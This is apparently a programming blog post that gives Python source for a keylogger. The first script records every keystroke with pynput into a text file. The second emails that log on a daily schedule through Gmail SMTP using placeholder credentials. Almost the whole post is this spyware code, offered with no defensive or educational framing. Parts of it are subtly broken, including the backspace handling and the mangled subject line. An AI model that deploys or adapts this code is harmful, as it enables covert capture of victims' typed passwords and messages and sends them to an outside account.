Python 3 Advanced Email Keylogger Script Which Sends Keystrokes Logs as Email Using Schedule and Pynput Library

Python 3 Advanced Email Keylogger Script Which Sends Keystrokes Logs as Email Using Schedule and Pynput Library

Python 3 Advanced Email Keylogger Script Which Sends Keystrokes Logs as Email Using Schedule and Pynput Library

import pip
#pip.main(['install','pynput'])

from pynput import keyboard
import schedule
import os
from time import strftime,gmtime
import datetime

#mouse=Controller()
def on_press(key):
    print(datetime.datetime.now().strftime("%H:%M:%S"))
    try:
        f=open('output.txt',"a")
        f.write(key.char)
        #schedule.every(1).minutes.do(sendmail)
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))
        #print(keyboard.KeyCode)
        if key==keyboard.Key.space:
            f.write(' ')
        if key==keyboard.Key.enter:
            f.write(os.linesep)
        if key==keyboard.Key.backspace:
            f.seek(-1,os.SEEK_CUR)
            f.write('')

    
    #print("Sent mail")


def on_release(key):
    if int(datetime.datetime.now().strftime("%H")) not in range(8,23):
        return False

    #return False


    

with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

    

#schedule.every(0.01).minutes.do(sendmail)
# Python code to illustrate Sending mail from 
# your Gmail account 
import smtplib
import time
import os
import datetime
import pip
import schedule

f=open('output.txt','w').close()


def sendmail():
# creates SMTP session
    s = smtplib.SMTP('smtp.gmail.com', 587)

    # start TLS for security
    s.starttls()

    # Authentication
    s.login("xyz@email.com", "abc")
    f=open('output.txt','r')

    # message to be sent
    message = "Subject:{0}nn{1}".format(datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),f.read())
    print(message)

    # sending the mail
    s.sendmail("email@gmail.com", "xyz@gmail.com", message)

    # terminating the session
    s.quit()
    os.system('python keylogger.py')
    f.close()
    f=open('output.txt','w').close()

schedule.every().day.at("11:58").do(sendmail)
while True:
    schedule.run_pending()
    time.sleep(1)
Share on:

Hi, I'm Ranjith a full-time Blogger, YouTuber, Affiliate Marketer, & founder of Coding Diksha. Here, I post about programming to help developers.

Leave a Comment